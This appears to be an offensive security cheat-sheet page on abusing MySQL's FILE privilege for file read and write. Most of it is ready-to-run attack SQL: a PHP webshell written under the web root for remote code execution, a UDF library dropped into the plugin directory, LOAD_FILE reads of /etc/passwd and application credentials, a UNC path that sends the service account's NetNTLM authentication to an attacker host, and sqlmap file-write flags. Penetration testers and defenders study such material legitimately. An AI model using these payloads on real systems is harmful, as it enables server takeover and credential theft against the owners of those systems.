File access

With the FILE privilege, MySQL reads and writes files as its service account. The write primitive is the more valuable: dropping a webshell under a web root is a direct path to code execution, and writing a library into the plugin directory sets up a UDF.

Writing files#

-- drop a webshell under a served directory
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/s.php';
-- write raw bytes (e.g. a UDF .so) with DUMPFILE, which does not add row/line formatting
SELECT 0xMACHINECODE INTO DUMPFILE '/usr/lib/mysql/plugin/x.so';

Reading files#

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');   -- app secrets, DB creds

The secure_file_priv gate#

SELECT @@secure_file_priv;
-- '' (empty)  -> read/write anywhere
-- a directory -> confined to that path
-- NULL        -> file operations disabled

Exploitation notes#

• The webshell write is the headline: INTO OUTFILE under the web root turns database access into web RCE, provided the path is writable by the mysql account and secure_file_priv allows it.
• Use INTO DUMPFILE (not OUTFILE) for binaries: OUTFILE escapes and adds separators, corrupting a .so/.dll; DUMPFILE writes bytes verbatim.
• LOAD_FILE returns NULL when the file is unreadable by the service account or blocked by secure_file_priv, so check that setting first.
• These require the FILE privilege, which root has by default; a lower user may not, so confirm with SHOW GRANTS.
• On Windows MySQL, LOAD_FILE('\\\\<attacker>\\x') makes the service account authenticate to an SMB listener, a NetNTLM capture or relay primitive; uncommon, since MySQL on Windows is rare.

Tools#

• mysql: run INTO OUTFILE / LOAD_FILE directly.
• sqlmap (--file-write, --file-read): automated file write and read over injection or a direct connection.

References#

• MySQL: SELECT ... INTO statement
• HackTricks: MySQL file read and write